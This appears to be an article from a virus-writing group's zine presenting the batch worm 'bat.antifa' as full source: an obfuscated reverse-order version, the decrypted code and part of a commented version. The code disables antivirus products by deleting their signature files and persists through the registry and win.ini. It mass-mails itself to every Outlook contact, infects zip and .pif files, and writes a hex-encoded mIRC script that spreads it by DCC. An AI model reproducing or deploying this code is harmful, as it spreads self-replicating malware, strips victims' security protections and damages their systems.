%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%
:ww
%-%%.%%%%% %-% %%%%%%%% %%%-% %%%% %%%-% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%?% %%%?% %%%% %%%?%>>%%%%%%
%%%%%]%%% %%%%
:vv
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%
:uu
%-%%.%%%%% %-% %%%%%%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%%>%%%%%%
%%%%%]%%% %%%%
:tt
:: L%%%%%?% Y%%%% %%%%%%%%%%%-%%?% %%%-% %]%%% %%%:%%-% %]%%%%-% %%%%%%%%%%%%%%%%%% ... %]%%%%%%%%%%:% %% %%%%%]%
%%%%%]%%% %%%%
:ss
%%%-%%%%-%%?%%%%]% /%:% %.%:\%%%%%%%%%%%%%?%.%%%-%%%
%%%%%]%%% %]%%]%
:rr
%-%%.%%%%% "R%-%%%%%%:%%]%%-%%%%-%%?%O%%%%%%%%%%%%%%%]%%%%%%%"="[%%R%%%%]">>%.%:\%%%%%%%%%%%%%?%.%%%-%%%
%%%%%]%%% %:%%:%
:qq
%-%%.%%%%% [%%%%%-%%%_%%%%%.%%%%%_%%%%%.%%%%%%%%-%\%:%%%%%%]%%%%%%%%-%\%%%%%.%%%%%%:%%%%%%]%\%%%%%%%?%%%%%%:%\%.%%%%%%%%-%%%%]%%%%-%%%%:%%%%%%%]>>%.%:\%%%%%%%%%%%%%?%.%%%-%%%
%%%%%]%%% %%%%
:pp
%-%%.%%%%% "R%-%%%%%%:%%]%%-%%%%-%%?%O%%%%%-%%%"="%%%%%]%.%%%%%]%%%%%%% %%%% %%%%%%%%%-%%]%%%%%%:%%]%%%%%">>%.%:\%%%%%%%%%%%%%?%.%%%-%%%
%%%%%]%%% %%%%
:oo
%-%%.%%%%% [%%%%%-%%%_%%%%%.%%%%%_%%%%%.%%%%%%%%-%\%:%%%%%%]%%%%%%%%-%\%%%%%.%%%%%%:%%%%%%]%\%%%%%%%?%%%%%%:%\%.%%%%%%%%-%%%%]%%%%-%%%%:%%%%%%%]>>%.%:\%%%%%%%%%%%%%?%.%%%-%%%
%%%%%]%%% %%%%
:nn
%-%%.%%%%% %@%%`%%#%%%>%.%:\%%%%%%%%%%%%%?%.%%%-%%%
%%%%%]%%% %%%%
:mm
%?%%-%%% %.%:\%%%%%%.%%%-%%%
%%%%%]%%% %%%%
:ll
%-%%.%%%%% :%%%%>>%%\%%%%%%%-%%%%%.%%%%%]%
%%%%%]%%% %%%%
:kk
%-%%.%%%%% %:%%]%%%%%%]% %.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]%>>%%\%%%%%%%-%%%%%.%%%%%]%
%%%%%]%%% %%%%
:jj
%-%%.%%%%% %%%% %%%%%]% %-%%%%%%:%%]% %.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]% %.%%%%%%% %%\%-%\%%%-%%%%-%%%%-% %.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]%>>%%\%%%%%%%-%%%%%.%%%%%]%
%%%%%]%%% %%%%
:ii
%-%%.%%%%% %.%%]%%]%%% %%%%%%>>%%\%%%%%%%-%%%%%.%%%%%]%
%%%%%]%%% %%%%
:hh
%-%%.%%%%% @%-%%.%%%%% %%%%%%>%%\%%%%%%%-%%%%%.%%%%%]%
%%%%%]%%% %%%%
:gg
%?%%-%%% %%\%%%%%%%-%%%%%.%%%%%]%
%%%%%]%%% %%%%
:ff
%?%%-%%% %%%]%%%
%%%%%]%%% %%%%
:ee
%%%%%%%-% %%\%:%%%%:%%]%%-%%%\%%%%%%.%%%%%% %%\%%%%%%.%%%%%%
%%%%%]%%% %%%%
:dd
%?%%-%%% %%\%%%%%%.%%%%%%
%%%%%]%%% %-%%-%
:cc
%.%%%%%%% %%%]%%% + %%\%%%%%%.%%%%%% %%\%:%%%%:%%]%%-%%%\%%%%%%.%%%%%%
%%%%%]%%% %?%%?%
:bb
%-%%.%%%%%.>>%%%]%%%
%%%%%]%%% %.%%.%
:aa
%-%%.%%%%% N%%%%%%P%%%%%]%=N%%%%%-%>>%%%]%%%
%%%%%]%%% %%%%
:z
%-%%.%%%%% %%%%%%=>>%%%]%%%
%%%%%]%%% %%%%
:y
%-%%.%%%%% %%%%%%%?%=%%\%%%%%%%-%%%%%.%%%%%]%>>%%%]%%%
%%%%%]%%% %%
:x
%-%%.%%%%% [%%%%%%%?%%%%%%:%]>%%%]%%%
%%%%%]%%% %%
:w
%%%-%%%%-%%?%%%%]% /%:% %.%:\%%%%%%.%%%-%%%
%%%%%]%%% %%
:v
%-%%.%%%%% "%%%%%]%.%%%%%]%%%%%%%"="%.%:\\%%%%%]%%%%%%%.%%%%%:%">>%.%:\%%%%%%.%%%-%%%
%%%%%]%%% %%
:u
%-%%.%%%%% [%%%%%-%%%_%%%%%.%%%%%_%%%%%.%%%%%%%%-%\%:%%%%%%]%%%%%%%%-%\%%%%%.%%%%%%:%%%%%%]%\%%%%%%%?%%%%%%:%\%.%%%%%%%%-%%%%]%%%%-%%%%:%%%%%%%\R%%%%]>>%.%:\%%%%%%.%%%-%%%
%%%%%]%%% %%
:t
%-%%.%%%%% %@%%`%%#%%%>%.%:\%%%%%%.%%%-%%%
%%%%%]%%% %%
:s
%-%%.%%%%% M%:%%%B%%%% "F%%%:%%.%%%%%%:%%%%%%:% %%%:%%]% %%%-%%%%%%-% M%-%%%%%%%%%%% %:%%%%%%?%%-%%%%% %-%%%%% V%-%%%%%%%%-%%.%%%%-%%%!" & C%%%%(%%%%) & C%%%%(%%%%) & "U%%%?% %?%%%%%%%%%%% %:%%]%%-%%%%]%: D%%%-% T%%%?%%-%%:%%:%%]%%%%%%%%-%.",%%%%%%%%,"%%%%%]%.%%%%%]%%%%%%% %%%% %%%%%%%%%-%%]%%%%%%:%%]%%%%% [%%R%%%%]">>%.%:\%%%%%]%%%%%%%.%%%%%:%
%%%%%]%%% %]%
:r
%-%%.%%%%%.%%%% %-%%%%%%%%% %%%-%%:%%%%%%-% %%%-%%%%]%>%.%:\%%%%%]%%%%%%%.%%%%%:%
%%%%%]%%% %:%
:q
%?%%-%%% %.%:\%%%%%%%?%%%%%%:%\%%%%%]%%%%%%%.%%%%%:%
%%%%%]%%% %%
:p
%?%%-%%% %.%:\%%%%%%%%%%%%%%%%%-%\%%%%%%%-%%%%:%%%%%%%%%\%%%%%]%%%%%%%%%.%%%?%%%
%%%%%]%%% %%
:o
%?%%-%%% %.%:\%]%%%%%%%\%]%%%%%%%.%?%%%%]%
%%%%%]%%% %%
:n
%?%%-%%% %.%:\%%%%%%%%%%%%%%%%%-%\%]%%%%%%%\%]%%%%%%%.%?%%%%]%
%%%%%]%%% %%
:m
%?%%-%%% %.%:\%]%%%%%%%%%%%%%\%]%%%%:%%.%%%%%.%:%%%%%
%%%%%]%%% %%
:l
%?%%-%%% %.%:\%%%%%%%%%%%%%%%%%-%\%%%.%%%%%%-%%-%\%:%%.%%%%%.%?%%%%]%
%%%%%]%%% %%
:k
%:%%-%t =T%%
%?%%-%%% %.%:\%%%%%%%%%%%%%%%%%-%\%%-%%%%%%%]%%%%%\%%%%%%%%%%%%.%?%%%%%
%%%%%]%%% %%
:j
%?%%-%%% %.%:\%%%%%%%%%%%%%%%%%-%\%%%%%%%]%%%%%~%%\%:%%%%%%%%%%]%%-%%%.%?%%%%%
%%%%%]%%% %%
:i
%?%%-%%% %.%:\%%%%%%%%%%%%~%%\%%%%%%%.%%%%%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%
:h
%?%%-%%% %.%:\%%%%%%%%%%%%~%%\%%%%%%%.%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%
:g
%?%%-%%% %.%:\%%%%%%%.%%%%%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%
:f
%?%%-%%% %.%:\%%%%%%%.%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%
:e
:next
%:%%-%%]% `=GE
%%%%%]%%% %%
:d
%.%%%%%%% %%\%-%\%%%-%%%%-%%%%-% %.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]%
%%%%%]%%% %-%
:c
%.%%%%%%% %0 %%\%-%\%%%-%%%%-%%%%-%
%%%%%]%%% %?%
:b
%%%?% %%\%-%
%%%%%]%%% %.%
:a
%%%% %-%%%%%%:%%]% %.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]% %%%%%]%%% %%%-%%%%]%
%%%%%]%%% %%


:235
%:%%-%%]% =z
%%%%%]%%% %%
:23
%:%%-%%]% =%winbootdir%
%:%%-%%]% =y
%%%%%]%%% %%%%%%
:22
%:%%-%%]% #=DI
%:%%-%%]% =x
%%%%%]%%% %%%%
:21
%:%%-%%]% =w
%%%%%]%%% %%%%
:20
%:%%-%%]% =v
%%%%%]%%% %%%%
:19
%:%%-%%]% =u
%%%%%]%%% %%%%
:18
%:%%-%%]% =r
%%%%%]%%% %%%%
:17
%:%%-%%]% =q
%%%%%]%%% %%%%
:16
%:%%-%%]% =p
%%%%%]%%% %%%%
:15
%:%%-%%]% =n
%%%%%]%%% %%%%
:14
%:%%-%%]% =m
%%%%%]%%% %%%%
:13
%:%%-%%]% =l
%:%%-%%]% =9
%%%%%]%%% %%%%
:12
%:%%-%%]% =k
%:%%-%%]% =8
%%%%%]%%% %%%%
:11
%:%%-%%]% =j
%:%%-%%]% =7
%%%%%]%%% %%%%
:10
%:%%-%%]% =i
%:%%-%%]% =6
%%%%%]%%% %%%%
:9
%:%%-%%]% =h
%:%%-%%]% =5
%%%%%]%%% %%%%
:8
%:%%-%%]% =f
%:%%-%%]% =4
%%%%%]%%% 9
:7
%:%%-%%]% ?=d
%:%%-%%]% =3
%%%%%]%%% 8
:6
%:%%-%%]% .=c
%:%%-%%]% =2
%%%%%]%%% 7
:5
%:%%-%%]% =b
%:%%-%%]% =1
%%%%%]%%% 6
:4
%:%%-%%]% =a
%:%%-%%]% =0
%%%%%]%%% 5
:3
%:%%-%%]% =o
%%%%%]%%% 4
:2
%:%%-%%]% @=RE
%:%%-%%]% =g
%%o%]%o 3
:1
%:%%-%t ]=t
go%]%o 2
:0
%:%et -=e
goto 1
:ani
set :=s
goto 0
:end

=====[end code]================================================================

As the virus is executed from behind, it first jumps to the end, and then
everytime upwards to the next commandline. So lots of goto's and labels are
needed (see unencrypted code for better understanding). The only thing you can
really see from the code above, is that the labels are not encrypted.
Because you can't do this with set-encryption :)

Now here comes the unencrypted code:
(Note: If you decrypt the code above, this won't be the same, cause I added
some things while encrypting the virus, for example the encryption routines
... Yes, it was encrypted by hand :)

=====[begin code]===============================================================
@echo off
ctty nul
goto a
:wwwwwww
:payload
goto end
:vvvvvvv
md %winbootdir%\desktop\nazis_raus!
goto wwwwwww
:uuuuuuu
:evil
goto vvvvvvv
:ttttttt
del pif.vbs
goto uuuuuuu
:sssssss
for %%k in (%winbootdir%\desktop\*.pif) do copy c:\pif.pif %%k
goto ttttttt
:rrrrrrr
command /f /c copy c:\bat.antifa.bat a:\
goto sssssss
:qqqqqqq
start pif.vbs
goto rrrrrrr
:ppppppp
echo msc.Save>>pif.vbs
goto qqqqqqq
:ooooooo
echo msc.WindowStyle = 4>>pif.vbs
goto ppppppp
:nnnnnnn
echo msc.TargetPath = wshs.ExpandEnvironmentStrings("c:\bat.antifa.bat")>>pif.vbs
goto ooooooo
:mmmmmmm
echo set msc=wshs.CreateShortcut("C:\pif.lnk")>>pif.vbs
goto nnnnnnn
:lllllll
echo set wshs=Wscript.CreateObject("WScript.Shell")>>pif.vbs
goto mmmmmmm
:kkkkkkk
echo dim wshs, msc>>pif.vbs
goto lllllll
:jjjjjjj
echo.on error resume next>pif.vbs
goto kkkkkkk
:iiiiiii
start %winbootdir%\ooo.vbs
goto jjjjjjj
:hhhhhhh
echo next>>%winbootdir%\ooo.vbs
goto iiiiiii
:ggggggg
echo f = "">>%winbootdir%\ooo.vbs
goto hhhhhhh
:fffffff
echo e.Send>>%winbootdir%\ooo.vbs
goto ggggggg
:eeeeeee
echo e.DeleteAfterSubmit = False>>%winbootdir%\ooo.vbs
goto fffffff
:ddddddd
echo e.Attachments.Add ("c:\bat.antifa.bat")>>%winbootdir%\ooo.vbs
goto eeeeeee
:ccccccc
echo e.Body = "Deutschland von der Karte streichen," & chr(13) & "Polen muss bis Frankreich reichen!">>%winbootdir%\ooo.vbs
goto ddddddd
:bbbbbbb
echo e.Subject = "this is where it gets NASTY">>%winbootdir%\ooo.vbs
goto ccccccc
:aaaaaaa
echo next>>%winbootdir%\ooo.vbs
goto bbbbbbb
:zzzzzz
echo x = x + 1>>%winbootdir%\ooo.vbs
goto aaaaaaa
:yyyyyy
echo e.Recipients.Add f>>%winbootdir%\ooo.vbs
goto zzzzzz
:xxxxxx
echo f = d.AddressEntries(x)>>%winbootdir%\ooo.vbs
goto yyyyyy
:wwwwww
echo for o = 1 To d.AddressEntries.Count>>%winbootdir%\ooo.vbs
goto xxxxxx
:vvvvvv
echo set e = b.CreateItem(0)>>%winbootdir%\ooo.vbs
goto wwwwww
:uuuuuu
echo x = 1>>%winbootdir%\ooo.vbs
goto vvvvvv
:tttttt
echo set d = c.AddressLists(y)>>%winbootdir%\ooo.vbs
goto uuuuuu
:ssssss
echo for y = 1 To c.AddressLists.Count>>%winbootdir%\ooo.vbs
goto tttttt
:rrrrrr
echo set c = b.GetNameSpace("MAPI")>>%winbootdir%\ooo.vbs
goto ssssss
:qqqqqq
echo set b = CreateObject("Outlook.Application")>>%winbootdir%\ooo.vbs
goto rrrrrr
:pppppp
echo set a = Wscript.CreateObject("Wscript.Shell")>>%winbootdir%\ooo.vbs
goto qqqqqq
:oooooo
echo dim a,b,c,d,e>>%winbootdir%\ooo.vbs
goto pppppp
:nnnnnn
echo.on error resume next>%winbootdir%\ooo.vbs
goto oooooo
:mmmmmm
del %winbootdir%\ooo.vbs
goto nnnnnn
:llllll
for %%i in (*.zip ..\*.zip %winbootdir%\desktop\*.zip) do powerarc -a -c4 %%i c:\bat.antifa.bat
goto mmmmmm
:kkkkkk
for %%i in (*.zip ..\*.zip %winbootdir%\desktop\*.zip) do pkzip -e0 -u -r -k %%i "c:\bat.antifa.bat">nul.zip
goto llllll
:jjjjjj
del lord
goto kkkkkk
:iiiiii
move lord c:\progra~1\mirc32\script.ini
goto jjjjjj
:hhhhhh
move lord c:\progra~1\mirc\script.ini
goto iiiiii
:gggggg
move lord c:\mirc32\script.ini
goto hhhhhh
:ffffff
move lord c:\mirc\script.ini
goto gggggg
:eeeeee
del c:\payload.reg
goto ffffff
:dddddd
del yup
goto eeeeee
:cccccc
debug<yup
goto dddddd
:bbbbbb
:: cut :)
goto cccccc
:aaaaaa
echo q>>yup
goto bbbbbb
:zzzzz
echo w>>yup
goto aaaaaa
:yyyyy
echo n lord>>yup
goto zzzzz
:xxxxx
echo 04FB>>yup
goto yyyyy
:wwwww
echo rcx>>yup
goto xxxxx
:vvvvv
echo e 05F0 73 6F 63 6B 5F 6E 61 6D 65 20 7D F3>>yup
goto wwwww
:uuuuu
echo e 05E0 65 20 7B 20 2E 73 6F 63 6B 63 6C 6F 73 65 20 25>>yup
goto vvvvv
:ttttt
echo e 05D0 0A 0D 0A 20 20 20 61 6C 69 61 73 20 63 6C 6F 7A>>yup
goto uuuuu
:sssss
echo e 05C0 20 34 30 30 30 0D 0A 20 20 20 7D 20 7D 20 7D 0D>>yup
goto ttttt
:rrrrr
echo e 05B0 0D 0A 20 20 20 20 20 25 6C 20 3D 20 25 6C 20 2B>>yup
goto sssss
:qqqqq
echo e 05A0 6E 74 5F 6E 61 6D 65 20 34 30 30 30 20 26 6C 65>>yup
goto rrrrr
:ppppp
echo e 0590 63 6B 77 72 69 74 65 20 2D 62 20 25 63 6C 69 65>>yup
goto qqqqq
:ooooo
echo e 0580 30 30 20 26 6C 65 0D 0A 20 20 20 20 20 2E 73 6F>>yup
goto ppppp
:nnnnn
echo e 0570 65 61 64 20 25 66 69 6C 65 65 20 25 6C 20 34 30>>yup
goto ooooo
:mmmmm
echo e 0560 3D 20 31 29 20 7B 0D 0A 20 20 20 20 20 2E 62 72>>yup
goto nnnnn
:lllll
echo e 0550 20 20 20 20 20 2E 69 66 20 28 25 65 6E 64 20 21>>yup
goto mmmmm
:kkkkk
echo e 0540 0A 20 20 20 20 7D 20 2E 65 6C 73 65 20 7B 0D 0A>>yup
goto lllll
:jjjjj
echo e 0530 61 6D 65 0D 0A 20 20 20 20 20 2E 68 61 6C 74 0D>>yup
goto kkkkk
:iiiii
echo e 0520 6B 63 6C 6F 73 65 20 25 63 6C 69 65 6E 74 5F 6E>>yup
goto jjjjj
:hhhhh
echo e 0510 65 6E 64 20 31 0D 0A 20 20 20 20 20 2E 73 6F 63>>yup
goto iiiii
:ggggg
echo e 0500 29 20 7B 0D 0A 20 20 20 20 20 2E 73 65 74 20 25>>yup
goto hhhhh
:fffff
echo e 04F0 69 6C 65 28 25 66 69 6C 65 65 29 2E 73 69 7A 65>>yup
goto ggggg
:eeeee
echo e 04E0 20 20 20 2E 69 66 20 28 25 6C 20 3E 3D 20 24 66>>yup
goto fffff
:ddddd
echo e 04D0 63 6C 69 65 6E 74 5F 6E 61 6D 65 3A 20 7B 0D 0A>>yup
goto eeeee
:ccccc
echo e 04C0 20 6F 6E 20 31 3A 73 6F 63 6B 72 65 61 64 3A 25>>yup
goto ddddd
:bbbbb
echo e 04B0 6E 64 20 30 0D 0A 20 20 20 7D 0D 0A 0D 0A 20 20>>yup
goto ccccc
:aaaaa
echo e 04A0 34 30 30 30 0D 0A 20 20 20 2E 73 65 74 20 25 65>>yup
goto bbbbb
:zzzz
echo e 0490 65 0D 0A 20 20 20 25 6C 20 3D 20 25 6C 20 2B 20>>yup
goto aaaaa
:yyyy
echo e 0480 65 6E 74 5F 6E 61 6D 65 20 34 30 30 30 20 26 6C>>yup
goto zzzz
:xxxx
echo e 0470 6F 63 6B 77 72 69 74 65 20 2D 62 20 25 63 6C 69>>yup
goto yyyy
:wwww
echo e 0460 20 34 30 30 30 20 26 6C 65 0D 0A 20 20 20 2E 73>>yup
goto xxxx
:vvvv
echo e 0450 2E 62 72 65 61 64 20 25 66 69 6C 65 65 20 25 6C>>yup
goto wwww
:uuuu
echo e 0440 20 20 2E 73 65 74 20 25 6C 20 30 0D 0A 20 20 20>>yup
goto vvvv
:tttt
echo e 0430 73 65 20 25 73 6F 63 6B 5F 6E 61 6D 65 0D 0A 20>>yup
goto uuuu
:ssss
echo e 0420 61 6D 65 0D 0A 20 20 20 2E 73 6F 63 6B 63 6C 6F>>yup
goto tttt
:rrrr
echo e 0410 61 63 63 65 70 74 20 25 63 6C 69 65 6E 74 5F 6E>>yup
goto ssss
:qqqq
echo e 0400 39 39 39 39 39 29 0D 0A 20 20 20 2E 73 6F 63 6B>>yup
goto rrrr
:pppp
echo e 03F0 5F 6E 61 6D 65 20 24 72 61 6E 64 28 31 2C 39 39>>yup
goto qqqq
:oooo
echo e 03E0 0A 20 20 20 2E 73 65 74 20 25 63 6C 69 65 6E 74>>yup
goto pppp
:nnnn
echo e 03D0 6E 3A 25 73 6F 63 6B 5F 6E 61 6D 65 3A 20 7B 0D>>yup
goto oooo
:mmmm
echo e 03C0 20 20 6F 6E 20 31 3A 73 6F 63 6B 6C 69 73 74 65>>yup
goto nnnn
:llll
echo e 03B0 20 20 20 20 7D 0D 0A 20 20 20 7D 0D 0A 0D 0A 20>>yup
goto mmmm
:kkkk
echo e 03A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>yup
goto llll
:jjjj
echo e 0390 29 20 30 20 31 30 20 2E 63 6C 6F 7A 65 0D 0A 20>>yup
goto kkkk
:iiii
echo e 0380 24 2B 20 24 72 61 6E 64 28 31 2C 39 39 39 39 39>>yup
goto jjjj
:hhhh
echo e 0370 66 66 0D 0A 20 20 20 20 20 2E 74 69 6D 65 72 20>>yup
goto iiii
:gggg
echo e 0360 0D 0A 20 20 20 20 20 2E 74 69 6D 65 72 73 20 6F>>yup
goto hhhh
:ffff
echo e 0350 25 73 6F 63 6B 5F 6E 61 6D 65 20 25 70 6F 72 74>>yup
goto gggg
:eeee
echo e 0340 20 20 20 20 2E 73 6F 63 6B 6C 69 73 74 65 6E 20>>yup
goto ffff
:dddd
echo e 0330 65 65 29 2E 73 69 7A 65 20 24 2B 20 01 0D 0A 20>>yup
goto eeee
:cccc
echo e 0320 25 70 6F 72 74 20 24 66 69 6C 65 28 25 66 69 6C>>yup
goto dddd
:bbbb
echo e 0310 65 20 24 6C 6F 6E 67 69 70 28 24 69 70 29 20 20>>yup
goto cccc
:aaaa
echo e 0300 20 01 44 43 43 20 53 45 4E 44 20 25 66 69 6C 65>>yup
goto bbbb
:zzz
echo e 02F0 39 29 0D 0A 20 20 20 20 20 2E 6D 73 67 20 24 31>>yup
goto aaaa
:yyy
echo e 02E0 61 6D 65 20 24 72 61 6E 64 28 31 2C 39 39 39 39>>yup
goto zzz
:xxx
echo e 02D0 20 20 20 20 2E 73 65 74 20 25 73 6F 63 6B 5F 6E>>yup
goto yyy
:www
echo e 02C0 28 20 24 2B 20 24 69 70 20 24 2B 20 29 0D 0A 20>>yup
goto xxx
:vvv
echo e 02B0 53 65 6E 64 20 74 65 6C 65 74 75 62 69 65 73 20>>yup
goto www
:uuu
echo e 02A0 2E 6E 6F 74 69 63 65 20 24 31 20 3A 44 43 43 20>>yup
goto vvv
:ttt
echo e 0290 73 6F 70 20 24 32 29 20 7B 0D 0A 20 20 20 20 20>>yup
goto uuu
:sss
echo e 0280 0A 0D 0A 20 20 20 2E 69 66 20 28 24 31 20 21 69>>yup
goto ttt
:rrr
echo e 0270 28 39 39 39 39 2C 39 39 39 39 39 39 29 20 7D 0D>>yup
goto sss
:qqq
echo e 0260 2E 73 65 74 20 25 70 6F 72 74 20 24 72 61 6E 64>>yup
goto rrr
:ppp
echo e 0250 74 29 20 3D 3D 20 24 66 61 6C 73 65 29 20 7B 20>>yup
goto qqq
:ooo
echo e 0240 20 28 24 70 6F 72 74 66 72 65 65 28 25 70 6F 72>>yup
goto ppp
:nnn
echo e 0230 39 39 39 39 29 0D 0A 20 20 20 2E 77 68 69 6C 65>>yup
goto ooo
:mmm
echo e 0220 72 74 20 24 72 61 6E 64 28 39 39 39 39 2C 39 39>>yup
goto nnn
:lll
echo e 0210 6D 20 7B 0D 0A 20 20 20 2E 73 65 74 20 25 70 6F>>yup
goto mmm
:kkk
echo e 0200 20 20 61 6C 69 61 73 20 63 68 65 63 6B 5F 68 69>>yup
goto lll
:jjj
echo e 01F0 20 20 20 7D 0D 0A 20 20 20 20 7D 0D 0A 0D 0A 20>>yup
goto kkk
:iii
echo e 01E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>yup
goto jjj
:hhh
echo e 01D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>yup
goto iii
:ggg
echo e 01C0 20 24 63 68 61 6E 20 29 0D 0A 20 20 20 20 20 20>>yup
goto hhh
:fff
echo e 01B0 65 63 6B 5F 68 69 6D 28 20 24 6E 69 63 6B 20 2C>>yup
goto ggg
:eee
echo e 01A0 31 30 30 30 30 30 29 20 31 20 35 20 2E 24 63 68>>yup
goto fff
:ddd
echo e 0190 69 6D 65 72 20 24 2B 20 24 72 61 6E 64 28 31 2C>>yup
goto eee
:ccc
echo e 0180 64 20 24 6E 69 63 6B 0D 0A 20 20 20 20 20 2E 74>>yup
goto ddd
:bbb
echo e 0170 7B 0D 0A 20 20 20 20 20 2E 73 65 74 20 25 6F 6C>>yup
goto ccc
:aaa
echo e 0160 20 25 6F 6C 64 20 21 3D 20 24 6E 69 63 6B 29 20>>yup
goto bbb
:zz
echo e 0150 28 24 6E 69 63 6B 20 21 3D 20 24 6D 65 20 26 26>>yup
goto aaa
:yy
echo e 0140 3A 20 7B 0D 0A 0D 0A 20 20 20 20 20 2E 69 66 20>>yup
goto zz
:xx
echo e 0130 0A 20 20 20 20 6F 6E 20 31 3A 6A 6F 69 6E 3A 23>>yup
goto yy
:ww
echo e 0120 2E 61 6E 74 69 66 61 2E 62 61 74 20 7D 0D 0A 0D>>yup
goto xx
:vv
echo e 0110 65 74 20 25 66 69 6C 65 65 20 63 3A 5C 62 61 74>>yup
goto ww
:uu
echo e 0100 6F 6E 20 31 3A 73 74 61 72 74 3A 20 7B 20 2E 73>yup
goto vv
:tt
:: Lord Yup allowed me to use the following ... thanks a lot
goto uu
:ss
regedit /s c:\payload.reg
goto tt
:rr
echo "RegisteredOrganization"="[rRlf]">>c:\payload.reg
goto ss
:qq
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]>>c:\payload.reg
goto rr
:pp
echo "RegisteredOwner"="bat.antifa by philet0ast3r">>c:\payload.reg
goto qq
:oo
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]>>c:\payload.reg
goto pp
:nn
echo REGEDIT4>c:\payload.reg
goto oo
:mm
del c:\aaa.reg
goto nn
:ll
echo :hm>>%winbootdir%\lalelu.bat
goto mm
:kk
echo start c:\bat.antifa.bat>>%winbootdir%\lalelu.bat
goto ll
:jj
echo if not exist c:\bat.antifa.bat copy %winbootdir%\e\hehehe c:\bat.antifa.bat>>%winbootdir%\lalelu.bat
goto kk
:ii
echo ctty nul>>%winbootdir%\lalelu.bat
goto jj
:hh
echo @echo off>%winbootdir%\lalelu.bat
goto ii
:gg
del %winbootdir%\lalelu.bat
goto hh
:ff
del ptr
goto gg
:ee
move %winbootdir%\system\win.ini %winbootdir%\win.ini
goto ff
:dd
del %winbootdir%\win.ini
goto ee
:cc
copy ptr + %winbootdir%\win.ini %winbootdir%\system\win.ini
goto dd
:bb
echo.>>ptr
goto cc
:aa
echo NullPort=None>>ptr
goto bb
:z
echo run=>>ptr
goto aa
:y
echo load=%winbootdir%\lalelu.bat>>ptr
goto z
:x
echo [windows]>ptr
goto y
:w
regedit /s c:\aaa.reg
goto x
:v
echo "bat.antifa"="c:\\antifa.vbs">>c:\aaa.reg
goto w
:u
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>c:\aaa.reg
goto v
:t
echo REGEDIT4>c:\aaa.reg
goto u
:s
echo MsgBox "Faschismus ist keine Meinung sondern ein Verbrechen!" & Chr(13) & Chr(10) & "Und darauf steht: Die Todesstrafe.",4096,"bat.antifa by philet0ast3r [rRlf]">>c:\antifa.vbs
goto t
:r
echo.on error resume next>c:\antifa.vbs
goto s
:q
del c:\antifa.vbs
goto r
:p
del c:\programme\avpersonal\antivir.vdf
goto q
:o
del c:\tbav\tbav.dat
goto p
:n
del c:\programme\tbav\tbav.dat
goto o
:m
del c:\tbavw95\tbscan.sig
goto n
:l
del c:\programme\mcafee\scan.dat
goto m
:k
del c:\programme\f-prot95\fpwm32.dll
goto l
:j
del c:\programme\norton~1\s32integ.dll
goto k
:i
del c:\progra~1\mirc32\script.ini
goto j
:h
del c:\progra~1\mirc\script.ini
goto i
:g
del c:\mirc32\script.ini
goto h
:f
del c:\mirc\script.ini
goto g
:e
:next
goto f
:d
copy %winbootdir%\e\hehehe c:\bat.antifa.bat
goto e
:c
copy %0 %winbootdir%\e\hehehe
goto d
:b
md %winbootdir%\e
goto c
:a
if exist c:\bat.antifa.bat goto next
goto b
:end

=====[end code]================================================================

The code above is a bit hard to comment, so it's not commented :)
But the following code is (rarely ;). This time in "normal" direction, without
all the goto's and labels. Comments always refer to the code above.

=====[begin code]===============================================================
@echo off
ctty nul
if exist c:\bat.antifa.bat goto next
md %winbootdir%\e
copy %0 %winbootdir%\e\hehehe
copy %winbootdir%\e\hehehe c:\bat.antifa.bat

:: the virus is copied to a directory, most windows-avs can't access

:next
del c:\mirc\script.ini
del c:\mirc32\script.ini
del c:\progra~1\mirc\script.ini
del c:\progra~1\mirc32\script.ini
del c:\programme\norton~1\s32integ.dll
del c:\programme\f-prot95\fpwm32.dll
del c:\programme\mcafee\scan.dat
del c:\tbavw95\tbscan.sig
del c:\programme\tbav\tbav.dat
del c:\tbav\tbav.dat
del c:\programme\avpersonal\antivir.vdf
del c:\antifa.vbs
echo.on error resume next>c:\antifa.vbs
echo MsgBox "Faschismus ist keine Meinung sondern ein Verbrechen!" & Chr(13) & Chr(10) & "Und darauf steht: Die Todesstrafe.",4096,"bat.antifa">>c:\antifa.vbs
echo REGEDIT4>c:\aaa.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>c:\aaa.reg
echo "bat.antifa"="c:\\antifa.vbs">>c:\aaa.reg
regedit /s c:\aaa.reg

:: to give this thing some meaning

echo [windows]>ptr
echo load=%winbootdir%\lalelu.bat>>ptr
echo run=>>ptr
echo NullPort=None>>ptr
echo.>>ptr
copy ptr + %winbootdir%\win.ini %winbootdir%\system\win.ini
del %winbootdir%\win.ini
move %winbootdir%\system\win.ini %winbootdir%\win.ini
del ptr
del %winbootdir%\lalelu.bat
echo @echo off>%winbootdir%\lalelu.bat
echo ctty nul>>%winbootdir%\lalelu.bat
echo if not exist c:\bat.antifa.bat copy %winbootdir%\e\hehehe c:\bat.antifa.bat>>%winbootdir%\lalelu.bat
